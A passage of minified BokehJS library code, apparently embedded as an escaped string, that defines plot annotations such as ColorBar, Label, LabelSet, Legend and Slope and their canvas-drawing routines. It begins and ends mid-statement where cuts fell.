t,e,i=this.compute_legend_dimensions(),n=[i.height,i.width],r=n[0],o=n[1],s=this.model.margin,a=null!=this.model.panel?this.model.panel:this.plot_view.frame,l=a.bbox.ranges,h=l[0],u=l[1],c=this.model.location;if(f.isString(c))switch(c){case\\\"top_left\\\":t=h.start+s,e=u.start+s;break;case\\\"top_center\\\":t=(h.end+h.start)/2-o/2,e=u.start+s;break;case\\\"top_right\\\":t=h.end-s-o,e=u.start+s;break;case\\\"bottom_right\\\":t=h.end-s-o,e=u.end-s-r;break;case\\\"bottom_center\\\":t=(h.end+h.start)/2-o/2,e=u.end-s-r;break;case\\\"bottom_left\\\":t=h.start+s,e=u.end-s-r;break;case\\\"center_left\\\":t=h.start+s,e=(u.end+u.start)/2-r/2;break;case\\\"center\\\":t=(h.end+h.start)/2-o/2,e=(u.end+u.start)/2-r/2;break;case\\\"center_right\\\":t=h.end-s-o,e=(u.end+u.start)/2-r/2;break;default:throw new Error(\\\"unreachable code\\\")}else{if(!f.isArray(c)||2!=c.length)throw new Error(\\\"unreachable code\\\");var _=c[0],p=c[1];t=a.xview.compute(_),e=a.yview.compute(p)-r}return{sx:t,sy:e}},t.prototype.render=function(){if(this.model.visible&&null!=this.model.color_mapper){var t=this.plot_view.canvas_view.ctx;t.save();var e=this.compute_legend_location(),i=e.sx,n=e.sy;t.translate(i,n),this._draw_bbox(t);var r=this._get_image_offset();if(t.translate(r.x,r.y),this._draw_image(t),null!=this.model.color_mapper.low&&null!=this.model.color_mapper.high){var o=this.model.tick_info();this._draw_major_ticks(t,o),this._draw_minor_ticks(t,o),this._draw_major_labels(t,o)}this.model.title&&this._draw_title(t),t.restore()}},t.prototype._draw_bbox=function(t){var e=this.compute_legend_dimensions();t.save(),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_value(t),t.fillRect(0,0,e.width,e.height)),this.visuals.border_line.doit&&(this.visuals.border_line.set_value(t),t.strokeRect(0,0,e.width,e.height)),t.restore()},t.prototype._draw_image=function(t){var e=this.model._computed_image_dimensions();t.save(),t.setImageSmoothingEnabled(!1),t.globalAlpha=this.model.scale_alpha,t.drawImage(this.image,0,0,e.width,e.height),this.visuals.bar_line.doit&&(this.visuals.bar_line.set_value(t),t.strokeRect(0,0,e.width,e.height)),t.restore()},t.prototype._draw_major_ticks=function(t,e){if(this.visuals.major_tick_line.doit){var i=this.model._normals(),n=i[0],r=i[1],o=this.model._computed_image_dimensions(),s=[o.width*n,o.height*r],a=s[0],l=s[1],h=e.coords.major,u=h[0],c=h[1],_=this.model.major_tick_in,p=this.model.major_tick_out;t.save(),t.translate(a,l),this.visuals.major_tick_line.set_value(t);for(var d=0,f=u.length;d<f;d++)t.beginPath(),t.moveTo(Math.round(u[d]+n*p),Math.round(c[d]+r*p)),t.lineTo(Math.round(u[d]-n*_),Math.round(c[d]-r*_)),t.stroke();t.restore()}},t.prototype._draw_minor_ticks=function(t,e){if(this.visuals.minor_tick_line.doit){var i=this.model._normals(),n=i[0],r=i[1],o=this.model._computed_image_dimensions(),s=[o.width*n,o.height*r],a=s[0],l=s[1],h=e.coords.minor,u=h[0],c=h[1],_=this.model.minor_tick_in,p=this.model.minor_tick_out;t.save(),t.translate(a,l),this.visuals.minor_tick_line.set_value(t);for(var d=0,f=u.length;d<f;d++)t.beginPath(),t.moveTo(Math.round(u[d]+n*p),Math.round(c[d]+r*p)),t.lineTo(Math.round(u[d]-n*_),Math.round(c[d]-r*_)),t.stroke();t.restore()}},t.prototype._draw_major_labels=function(t,e){if(this.visuals.major_label_text.doit){var i=this.model._normals(),n=i[0],r=i[1],o=this.model._computed_image_dimensions(),s=[o.width*n,o.height*r],a=s[0],l=s[1],h=this.model.label_standoff+this.model._tick_extent(),u=[h*n,h*r],c=u[0],_=u[1],p=e.coords.major,d=p[0],f=p[1],v=e.labels.major;this.visuals.major_label_text.set_value(t),t.save(),t.translate(a+c,l+_);for(var m=0,g=d.length;m<g;m++)t.fillText(v[m],Math.round(d[m]+n*this.model.label_standoff),Math.round(f[m]+r*this.model.label_standoff));t.restore()}},t.prototype._draw_title=function(t){this.visuals.title_text.doit&&(t.save(),this.visuals.title_text.set_value(t),t.fillText(this.model.title,0,-this.model.title_standoff),t.restore())},t.prototype._get_label_extent=function(){var t,e=this.model.tick_info().labels.major;if(null==this.model.color_mapper.low||null==this.model.color_mapper.high||d.isEmpty(e))t=0;else{var i=this.plot_view.canvas_view.ctx;switch(i.save(),this.visuals.major_label_text.set_value(i),this.model.orientation){case\\\"vertical\\\":t=p.max(e.map(function(t){return i.measureText(t.toString()).width}));break;case\\\"horizontal\\\":t=_.get_text_height(this.visuals.major_label_text.font_value()).height;break;default:throw new Error(\\\"unreachable code\\\")}t+=this.model.label_standoff,i.restore()}return t},t.prototype._get_image_offset=function(){var t=this.model.padding,e=this.model.padding+this.model._title_extent();return{x:t,y:e}},t}(r.AnnotationView);i.ColorBarView=v;var m=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ColorBar\\\",this.prototype.default_view=v,this.mixins([\\\"text:major_label_\\\",\\\"text:title_\\\",\\\"line:major_tick_\\\",\\\"line:minor_tick_\\\",\\\"line:border_\\\",\\\"line:bar_\\\",\\\"fill:background_\\\"]),this.define({location:[c.Any,\\\"top_right\\\"],orientation:[c.Orientation,\\\"vertical\\\"],title:[c.String],title_standoff:[c.Number,2],width:[c.Any,\\\"auto\\\"],height:[c.Any,\\\"auto\\\"],scale_alpha:[c.Number,1],ticker:[c.Instance,function(){return new o.BasicTicker}],formatter:[c.Instance,function(){return new s.BasicTickFormatter}],major_label_overrides:[c.Any,{}],color_mapper:[c.Instance],label_standoff:[c.Number,5],margin:[c.Number,30],padding:[c.Number,10],major_tick_in:[c.Number,5],major_tick_out:[c.Number,0],minor_tick_in:[c.Number,0],minor_tick_out:[c.Number,0]}),this.override({background_fill_color:\\\"#ffffff\\\",background_fill_alpha:.95,bar_line_color:null,border_line_color:null,major_label_text_align:\\\"center\\\",major_label_text_baseline:\\\"middle\\\",major_label_text_font_size:\\\"8pt\\\",major_tick_line_color:\\\"#ffffff\\\",minor_tick_line_color:null,title_text_font_size:\\\"10pt\\\",title_text_font_style:\\\"italic\\\"})},t.prototype._normals=function(){return\\\"vertical\\\"==this.orientation?[1,0]:[0,1]},t.prototype._title_extent=function(){var t=this.title_text_font+\\\" \\\"+this.title_text_font_size+\\\" \\\"+this.title_text_font_style,e=this.title?_.get_text_height(t).height+this.title_standoff:0;return e},t.prototype._tick_extent=function(){return null!=this.color_mapper.low&&null!=this.color_mapper.high?p.max([this.major_tick_out,this.minor_tick_out]):0},t.prototype._computed_image_dimensions=function(){var t,e,i=this.plot.plot_canvas.frame._height.value,n=this.plot.plot_canvas.frame._width.value,r=this._title_extent();switch(this.orientation){case\\\"vertical\\\":\\\"auto\\\"==this.height?null!=this.panel?t=i-2*this.padding-r:(t=p.max([25*this.color_mapper.palette.length,.3*i]),t=p.min([t,.8*i-2*this.padding-r])):t=this.height,e=\\\"auto\\\"==this.width?25:this.width;break;case\\\"horizontal\\\":t=\\\"auto\\\"==this.height?25:this.height,\\\"auto\\\"==this.width?null!=this.panel?e=n-2*this.padding:(e=p.max([25*this.color_mapper.palette.length,.3*n]),e=p.min([e,.8*n-2*this.padding])):e=this.width;break;default:throw new Error(\\\"unreachable code\\\")}return{width:e,height:t}},t.prototype._tick_coordinate_scale=function(t){var e={source_range:new h.Range1d({start:this.color_mapper.low,end:this.color_mapper.high}),target_range:new h.Range1d({start:0,end:t})};switch(this.color_mapper.type){case\\\"LinearColorMapper\\\":return new a.LinearScale(e);case\\\"LogColorMapper\\\":return new l.LogScale(e);default:throw new Error(\\\"unreachable code\\\")}},t.prototype._format_major_labels=function(t,e){for(var i=this.formatter.doFormat(t,null),n=0,r=e.length;n<r;n++)e[n]in this.major_label_overrides&&(i[n]=this.major_label_overrides[e[n]]);return i},t.prototype.tick_info=function(){var e,t=this._computed_image_dimensions();switch(this.orientation){case\\\"vertical\\\":e=t.height;break;case\\\"horizontal\\\":e=t.width;break;default:throw new Error(\\\"unreachable code\\\")}for(var i=this._tick_coordinate_scale(e),n=this._normals(),r=n[0],o=n[1],s=[this.color_mapper.low,this.color_mapper.high],a=s[0],l=s[1],h=this.ticker.get_ticks(a,l,null,null,this.ticker.desired_num_ticks),u=h.major,c=h.minor,_=[[],[]],p=[[],[]],d=0,f=u.length;d<f;d++)u[d]<a||u[d]>l||(_[r].push(u[d]),_[o].push(0));for(var d=0,f=c.length;d<f;d++)c[d]<a||c[d]>l||(p[r].push(c[d]),p[o].push(0));var v={major:this._format_major_labels(_[r],u)},m={major:[[],[]],minor:[[],[]]};return m.major[r]=i.v_compute(_[r]),m.minor[r]=i.v_compute(p[r]),m.major[o]=_[o],m.minor[o]=p[o],\\\"vertical\\\"==this.orientation&&(m.major[r]=g.map(m.major[r],function(t){return e-t}),m.minor[r]=g.map(m.minor[r],function(t){return e-t})),{coords:m,labels:v}},t}(r.Annotation);(i.ColorBar=m).initClass()},function(t,e,i){var n=t(60);i.Annotation=n.Annotation;var r=t(61);i.Arrow=r.Arrow;var o=t(62);i.ArrowHead=o.ArrowHead;var s=t(62);i.OpenHead=s.OpenHead;var a=t(62);i.NormalHead=a.NormalHead;var l=t(62);i.TeeHead=l.TeeHead;var h=t(62);i.VeeHead=h.VeeHead;var u=t(63);i.Band=u.Band;var c=t(64);i.BoxAnnotation=c.BoxAnnotation;var _=t(65);i.ColorBar=_.ColorBar;var p=t(67);i.Label=p.Label;var d=t(68);i.LabelSet=d.LabelSet;var f=t(69);i.Legend=f.Legend;var v=t(70);i.LegendItem=v.LegendItem;var m=t(71);i.PolyAnnotation=m.PolyAnnotation;var g=t(72);i.Slope=g.Slope;var y=t(73);i.Span=y.Span;var b=t(74);i.TextAnnotation=b.TextAnnotation;var x=t(75);i.Title=x.Title;var w=t(76);i.ToolbarPanel=w.ToolbarPanel;var k=t(77);i.Tooltip=k.Tooltip;var S=t(78);i.Whisker=S.Whisker},function(t,e,i){var n=t(391),r=t(74),a=t(5),o=t(15),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.visuals.warm_cache()},t.prototype._get_size=function(){var t=this.plot_view.canvas_view.ctx;if(this.visuals.text.set_value(t),this.model.panel.is_horizontal){var e=t.measureText(this.model.text).ascent;return e}var i=t.measureText(this.model.text).width;return i},t.prototype.render=function(){if(this.model.visible||\\\"css\\\"!=this.model.render_mode||a.hide(this.el),this.model.visible){var t;switch(this.model.angle_units){case\\\"rad\\\":t=-this.model.angle;break;case\\\"deg\\\":t=-this.model.angle*Math.PI/180;break;default:throw new Error(\\\"unreachable code\\\")}var e=null!=this.model.panel?this.model.panel:this.plot_view.frame,i=this.plot_view.frame.xscales[this.model.x_range_name],n=this.plot_view.frame.yscales[this.model.y_range_name],r=\\\"data\\\"==this.model.x_units?i.compute(this.model.x):e.xview.compute(this.model.x),o=\\\"data\\\"==this.model.y_units?n.compute(this.model.y):e.yview.compute(this.model.y);r+=this.model.x_offset,o-=this.model.y_offset;var s=\\\"canvas\\\"==this.model.render_mode?this._canvas_text.bind(this):this._css_text.bind(this);s(this.plot_view.canvas_view.ctx,this.model.text,r,o,t)}},t}(r.TextAnnotationView);i.LabelView=s;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Label\\\",this.prototype.default_view=s,this.mixins([\\\"text\\\",\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({x:[o.Number],x_units:[o.SpatialUnits,\\\"data\\\"],y:[o.Number],y_units:[o.SpatialUnits,\\\"data\\\"],text:[o.String],angle:[o.Angle,0],angle_units:[o.AngleUnits,\\\"rad\\\"],x_offset:[o.Number,0],y_offset:[o.Number,0],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"]}),this.override({background_fill_color:null,border_line_color:null})},t}(r.TextAnnotation);(i.Label=l).initClass()},function(t,e,i){var n=t(391),r=t(74),o=t(200),u=t(5),s=t(15),a=function(r){function t(){return null!==r&&r.apply(this,arguments)||this}return n.__extends(t,r),t.prototype.initialize=function(t){if(r.prototype.initialize.call(this,t),this.set_data(this.model.source),\\\"css\\\"==this.model.render_mode)for(var e=0,i=this._text.length;e<i;e++){var n=u.div({class:\\\"bk-annotation-child\\\",style:{display:\\\"none\\\"}});this.el.appendChild(n)}},t.prototype.connect_signals=function(){var t=this;r.prototype.connect_signals.call(this),\\\"css\\\"==this.model.render_mode?(this.connect(this.model.change,function(){t.set_data(t.model.source),t.render()}),this.connect(this.model.source.streaming,function(){t.set_data(t.model.source),t.render()}),this.connect(this.model.source.patching,function(){t.set_data(t.model.source),t.render()}),this.connect(this.model.source.change,function(){t.set_data(t.model.source),t.render()})):(this.connect(this.model.change,function(){t.set_data(t.model.source),t.plot_view.request_render()}),this.connect(this.model.source.streaming,function(){t.set_data(t.model.source),t.plot_view.request_render()}),this.connect(this.model.source.patching,function(){t.set_data(t.model.source),t.plot_view.request_render()}),this.connect(this.model.source.change,function(){t.set_data(t.model.source),t.plot_view.request_render()}))},t.prototype.set_data=function(t){r.prototype.set_data.call(this,t),this.visuals.warm_cache(t)},t.prototype._map_data=function(){var t=this.plot_view.frame.xscales[this.model.x_range_name],e=this.plot_view.frame.yscales[this.model.y_range_name],i=null!=this.model.panel?this.model.panel:this.plot_view.frame,n=\\\"data\\\"==this.model.x_units?t.v_compute(this._x):i.xview.v_compute(this._x),r=\\\"data\\\"==this.model.y_units?e.v_compute(this._y):i.yview.v_compute(this._y);return[n,r]},t.prototype.render=function(){if(this.model.visible||\\\"css\\\"!=this.model.render_mode||u.hide(this.el),this.model.visible)for(var t=\\\"canvas\\\"==this.model.render_mode?this._v_canvas_text.bind(this):this._v_css_text.bind(this),e=this.plot_view.canvas_view.ctx,i=this._map_data(),n=i[0],r=i[1],o=0,s=this._text.length;o<s;o++)t(e,o,this._text[o],n[o]+this._x_offset[o],r[o]-this._y_offset[o],this._angle[o])},t.prototype._get_size=function(){var t=this.plot_view.canvas_view.ctx;switch(this.visuals.text.set_value(t),this.model.panel.side){case\\\"above\\\":case\\\"below\\\":var e=t.measureText(this._text[0]).ascent;return e;case\\\"left\\\":case\\\"right\\\":var i=t.measureText(this._text[0]).width;return i;default:throw new Error(\\\"unreachable code\\\")}},t.prototype._v_canvas_text=function(t,e,i,n,r,o){this.visuals.text.set_vectorize(t,e);var s=this._calculate_bounding_box_dimensions(t,i);t.save(),t.beginPath(),t.translate(n,r),t.rotate(o),t.rect(s[0],s[1],s[2],s[3]),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_vectorize(t,e),t.fill()),this.visuals.border_line.doit&&(this.visuals.border_line.set_vectorize(t,e),t.stroke()),this.visuals.text.doit&&(this.visuals.text.set_vectorize(t,e),t.fillText(i,0,0)),t.restore()},t.prototype._v_css_text=function(t,e,i,n,r,o){var s=this.el.children[e];s.textContent=i,this.visuals.text.set_vectorize(t,e);var a=this._calculate_bounding_box_dimensions(t,i),l=this.visuals.border_line.line_dash.value(),h=l.length<2?\\\"solid\\\":\\\"dashed\\\";this.visuals.border_line.set_vectorize(t,e),this.visuals.background_fill.set_vectorize(t,e),s.style.position=\\\"absolute\\\",s.style.left=n+a[0]+\\\"px\\\",s.style.top=r+a[1]+\\\"px\\\",s.style.color=\\\"\\\"+this.visuals.text.text_color.value(),s.style.opacity=\\\"\\\"+this.visuals.text.text_alpha.value(),s.style.font=\\\"\\\"+this.visuals.text.font_value(),s.style.lineHeight=\\\"normal\\\",o&&(s.style.transform=\\\"rotate(\\\"+o+\\\"rad)\\\"),this.visuals.background_fill.doit&&(s.style.backgroundColor=\\\"\\\"+this.visuals.background_fill.color_value()),this.visuals.border_line.doit&&(s.style.borderStyle=\\\"\\\"+h,s.style.borderWidth=this.visuals.border_line.line_width.value()+\\\"px\\\",s.style.borderColor=\\\"\\\"+this.visuals.border_line.color_value()),u.show(s)},t}(r.TextAnnotationView);i.LabelSetView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LabelSet\\\",this.prototype.default_view=a,this.mixins([\\\"text\\\",\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({x:[s.NumberSpec],y:[s.NumberSpec],x_units:[s.SpatialUnits,\\\"data\\\"],y_units:[s.SpatialUnits,\\\"data\\\"],text:[s.StringSpec,{field:\\\"text\\\"}],angle:[s.AngleSpec,0],x_offset:[s.NumberSpec,{value:0}],y_offset:[s.NumberSpec,{value:0}],source:[s.Instance,function(){return new o.ColumnDataSource}],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"]}),this.override({background_fill_color:null,border_line_color:null})},t}(r.TextAnnotation);(i.LabelSet=l).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(15),s=t(19),M=t(41),O=t(24),z=t(21),P=t(32),j=t(44),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.cursor=function(t,e){return\\\"none\\\"==this.model.click_policy?null:\\\"pointer\\\"},Object.defineProperty(t.prototype,\\\"legend_padding\\\",{get:function(){return null!=this.visuals.border_line.line_color.value()?this.model.padding:0},enumerable:!0,configurable:!0}),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.item_change,function(){return t.plot_view.request_render()})},t.prototype.compute_legend_bbox=function(){var t=this.model.get_legend_names(),e=this.model,i=e.glyph_height,n=e.glyph_width,r=this.model,o=r.label_height,s=r.label_width;this.max_label_height=z.max([M.get_text_height(this.visuals.label_text.font_value()).height,o,i]);var a=this.plot_view.canvas_view.ctx;a.save(),this.visuals.label_text.set_value(a),this.text_widths={};for(var l=0,h=t;l<h.length;l++){var u=h[l];this.text_widths[u]=z.max([a.measureText(u).width,s])}a.restore();var c,_,p=Math.max(z.max(P.values(this.text_widths)),0),d=this.model.margin,f=this.legend_padding,v=this.model.spacing,m=this.model.label_standoff;if(\\\"vertical\\\"==this.model.orientation)c=t.length*this.max_label_height+Math.max(t.length-1,0)*v+2*f,_=p+n+m+2*f;else{for(var g in _=2*f+Math.max(t.length-1,0)*v,this.text_widths){var y=this.text_widths[g];_+=z.max([y,s])+n+m}c=this.max_label_height+2*f}var b,x,w=null!=this.model.panel?this.model.panel:this.plot_view.frame,k=w.bbox.ranges,S=k[0],C=k[1],T=this.model.location;if(j.isString(T))switch(T){case\\\"top_left\\\":b=S.start+d,x=C.start+d;break;case\\\"top_center\\\":b=(S.end+S.start)/2-_/2,x=C.start+d;break;case\\\"top_right\\\":b=S.end-d-_,x=C.start+d;break;case\\\"bottom_right\\\":b=S.end-d-_,x=C.end-d-c;break;case\\\"bottom_center\\\":b=(S.end+S.start)/2-_/2,x=C.end-d-c;break;case\\\"bottom_left\\\":b=S.start+d,x=C.end-d-c;break;case\\\"center_left\\\":b=S.start+d,x=(C.end+C.start)/2-c/2;break;case\\\"center\\\":b=(S.end+S.start)/2-_/2,x=(C.end+C.start)/2-c/2;break;case\\\"center_right\\\":b=S.end-d-_,x=(C.end+C.start)/2-c/2;break;default:throw new Error(\\\"unreachable code\\\")}else{if(!j.isArray(T)||2!=T.length)throw new Error(\\\"unreachable code\\\");var A=T[0],E=T[1];b=w.xview.compute(A),x=w.yview.compute(E)-c}return{x:b,y:x,width:_,height:c}},t.prototype.interactive_bbox=function(){var t=this.compute_legend_bbox(),e=t.x,i=t.y,n=t.width,r=t.height;return new O.BBox({x:e,y:i,width:n,height:r})},t.prototype.interactive_hit=function(t,e){var i=this.interactive_bbox();return i.contains(t,e)},t.prototype.on_hit=function(t,e){for(var i,n,r,o=this.model.glyph_width,s=this.legend_padding,a=this.model.spacing,l=this.model.label_standoff,h=r=s,u=this.compute_legend_bbox(),c=\\\"vertical\\\"==this.model.orientation,_=0,p=this.model.items;_<p.length;_++)for(var d=p[_],f=d.get_labels_list_from_label_prop(),v=0,m=f;v<m.length;v++){var g=m[v],y=u.x+h,b=u.y+r,x=void 0,w=void 0;c?(i=[u.width-2*s,this.max_label_height],x=i[0],w=i[1]):(n=[this.text_widths[g]+o+l,this.max_label_height],x=n[0],w=n[1]);var k=new O.BBox({x:y,y:b,width:x,height:w});if(k.contains(t,e)){switch(this.model.click_policy){case\\\"hide\\\":for(var S=0,C=d.renderers;S<C.length;S++){var T=C[S];T.visible=!T.visible}break;case\\\"mute\\\":for(var A=0,E=d.renderers;A<E.length;A++){var T=E[A];T.muted=!T.muted}}return!0}c?r+=this.max_label_height+a:h+=this.text_widths[g]+o+l+a}return!1},t.prototype.render=function(){if(this.model.visible&&0!=this.model.items.length){for(var t=0,e=this.model.items;t<e.length;t++){var i=e[t];i.legend=this.model}var n=this.plot_view.canvas_view.ctx,r=this.compute_legend_bbox();n.save(),this._draw_legend_box(n,r),this._draw_legend_items(n,r),n.restore()}},t.prototype._draw_legend_box=function(t,e){t.beginPath(),t.rect(e.x,e.y,e.width,e.height),this.visuals.background_fill.set_value(t),t.fill(),this.visuals.border_line.doit&&(this.visuals.border_line.set_value(t),t.stroke())},t.prototype._draw_legend_items=function(y,b){for(var x=this,t=this.model,w=t.glyph_width,k=t.glyph_height,S=this.legend_padding,C=this.model.spacing,T=this.model.label_standoff,A=S,E=S,M=\\\"vertical\\\"==this.model.orientation,e=function(t){var e,i,n=t.get_labels_list_from_label_prop(),r=t.get_field_from_label_prop();if(0==n.length)return\\\"continue\\\";for(var o=function(){switch(x.model.click_policy){case\\\"none\\\":return!0;case\\\"hide\\\":return z.all(t.renderers,function(t){return t.visible});case\\\"mute\\\":return z.all(t.renderers,function(t){return!t.muted})}}(),s=0,a=n;s<a.length;s++){var l=a[s],h=b.x+A,u=b.y+E,c=h+w,_=u+k;M?E+=O.max_label_height+C:A+=O.text_widths[l]+w+T+C,O.visuals.label_text.set_value(y),y.fillText(l,c+T,u+O.max_label_height/2);for(var p=0,d=t.renderers;p<d.length;p++){var f=d[p],v=O.plot_view.renderer_views[f.id];v.draw_legend(y,h,c,u,_,r,l,t.index)}if(!o){var m=void 0,g=void 0;M?(e=[b.width-2*S,O.max_label_height],m=e[0],g=e[1]):(i=[O.text_widths[l]+w+T,O.max_label_height],m=i[0],g=i[1]),y.beginPath(),y.rect(h,u,m,g),O.visuals.inactive_fill.set_value(y),y.fill()}}},O=this,i=0,n=this.model.items;i<n.length;i++){var r=n[i];e(r)}},t.prototype._get_size=function(){var t=this.compute_legend_bbox();switch(this.model.panel.side){case\\\"above\\\":case\\\"below\\\":return t.height+2*this.model.margin;case\\\"left\\\":case\\\"right\\\":return t.width+2*this.model.margin}},t}(r.AnnotationView);i.LegendView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.prototype.initialize=function(){e.prototype.initialize.call(this),this.item_change=new s.Signal0(this,\\\"item_change\\\")},t.initClass=function(){this.prototype.type=\\\"Legend\\\",this.prototype.default_view=a,this.mixins([\\\"text:label_\\\",\\\"fill:inactive_\\\",\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({orientation:[o.Orientation,\\\"vertical\\\"],location:[o.Any,\\\"top_right\\\"],label_standoff:[o.Number,5],glyph_height:[o.Number,20],glyph_width:[o.Number,20],label_height:[o.Number,20],label_width:[o.Number,20],margin:[o.Number,10],padding:[o.Number,10],spacing:[o.Number,3],items:[o.Array,[]],click_policy:[o.Any,\\\"none\\\"]}),this.override({border_line_color:\\\"#e5e5e5\\\",border_line_alpha:.5,border_line_width:1,background_fill_color:\\\"#ffffff\\\",background_fill_alpha:.95,inactive_fill_color:\\\"white\\\",inactive_fill_alpha:.7,label_text_font_size:\\\"10pt\\\",label_text_baseline:\\\"middle\\\"})},t.prototype.get_legend_names=function(){for(var t=[],e=0,i=this.items;e<i.length;e++){var n=i[e],r=n.get_labels_list_from_label_prop();t.push.apply(t,r)}return t},t}(r.Annotation);(i.Legend=l).initClass()},function(t,e,i){var r=t(391),n=t(59),o=t(201),s=t(47),a=t(15),l=t(14),h=t(21),u=function(n){function t(t){return n.call(this,t)||this}return r.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"LegendItem\\\",this.define({label:[a.StringSpec,null],renderers:[a.Array,[]],index:[a.Number,null]})},t.prototype._check_data_sources_on_renderers=function(){var t=this.get_field_from_label_prop();if(null!=t){if(this.renderers.length<1)return!1;var e=this.renderers[0].data_source;if(null!=e)for(var i=0,n=this.renderers;i<n.length;i++){var r=n[i];if(r.data_source!=e)return!1}}return!0},t.prototype._check_field_label_on_data_source=function(){var t=this.get_field_from_label_prop();if(null!=t){if(this.renderers.length<1)return!1;var e=this.renderers[0].data_source;if(null!=e&&!h.includes(e.columns(),t))return!1}return!0},t.prototype.initialize=function(){var t=this;n.prototype.initialize.call(this),this.legend=null,this.connect(this.change,function(){null!=t.legend&&t.legend.item_change.emit()});var e=this._check_data_sources_on_renderers();e||l.logger.error(\\\"Non matching data sources on legend item renderers\\\");var i=this._check_field_label_on_data_source();i||l.logger.error(\\\"Bad column name on label: \\\"+this.label)},t.prototype.get_field_from_label_prop=function(){var t=this.label;return s.isField(t)?t.field:null},t.prototype.get_labels_list_from_label_prop=function(){if(s.isValue(this.label))return[this.label.value];var t=this.get_field_from_label_prop();if(null!=t){var e=void 0;if(!this.renderers[0]||null==this.renderers[0].data_source)return[\\\"No source found\\\"];if((e=this.renderers[0].data_source)instanceof o.ColumnarDataSource){var i=e.get_column(t);return null!=i?h.uniq(Array.from(i)):[\\\"Invalid field\\\"]}}return[]},t}(n.Model);(i.LegendItem=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(19),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.data_update,function(){return t.plot_view.request_render()})},t.prototype.render=function(){if(this.model.visible){var t=this.model,e=t.xs,i=t.ys;if(e.length==i.length&&!(e.length<3||i.length<3)){for(var n=this.plot_view.frame,r=this.plot_view.canvas_view.ctx,o=0,s=e.length;o<s;o++){var a=void 0;if(\\\"screen\\\"!=this.model.xs_units)throw new Error(\\\"not implemented\\\");a=this.model.screen?e[o]:n.xview.compute(e[o]);var l=void 0;if(\\\"screen\\\"!=this.model.ys_units)throw new Error(\\\"not implemented\\\");l=this.model.screen?i[o]:n.yview.compute(i[o]),0==o?(r.beginPath(),r.moveTo(a,l)):r.lineTo(a,l)}r.closePath(),this.visuals.line.doit&&(this.visuals.line.set_value(r),r.stroke()),this.visuals.fill.doit&&(this.visuals.fill.set_value(r),r.fill())}}},t}(r.AnnotationView);i.PolyAnnotationView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PolyAnnotation\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({xs:[s.Array,[]],xs_units:[s.SpatialUnits,\\\"data\\\"],ys:[s.Array,[]],ys_units:[s.SpatialUnits,\\\"data\\\"],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"]}),this.internal({screen:[s.Boolean,!1]}),this.override({fill_color:\\\"#fff9ba\\\",fill_alpha:.4,line_color:\\\"#cccccc\\\",line_alpha:.3})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.data_update=new o.Signal0(this,\\\"data_update\\\")},t.prototype.update=function(t){var e=t.xs,i=t.ys;this.setv({xs:e,ys:i,screen:!0},{silent:!0}),this.data_update.emit()},t}(r.Annotation);(i.PolyAnnotation=l).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(15),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()})},t.prototype.render=function(){this.model.visible&&this._draw_slope()},t.prototype._draw_slope=function(){var t=this.model.gradient,e=this.model.y_intercept;if(null!=t&&null!=e){var i=this.plot_view.frame,n=i.xscales[this.model.x_range_name],r=i.yscales[this.model.y_range_name],o=i._top.value,s=o+i._height.value,a=r.invert(o),l=r.invert(s),h=(a-e)/t,u=(l-e)/t,c=n.compute(h),_=n.compute(u),p=this.plot_view.canvas_view.ctx;p.save(),p.beginPath(),this.visuals.line.set_value(p),p.moveTo(c,o),p.lineTo(_,s),p.stroke(),p.restore()}},t}(r.AnnotationView);i.SlopeView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Slope\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\"]),this.define({gradient:[o.Number,null],y_intercept:[o.Number,null],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"]}),this.override({line_color:\\\"black\\\"})},t}(r.Annotation);(i.Slope=a).initClass()},function(t,e,i){var n=t(391),r=t(60),c=t(5),o=t(15),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view.canvas_overlays.appendChild(this.el),this.el.style.position=\\\"absolute\\\",c.hide(this.el)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.model.for_hover?this.connect(this.model.properties.computed_location.change,function(){return t._draw_span()}):\\\"canvas\\\"==this.model.render_mode?(this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.properties.location.change,function(){return 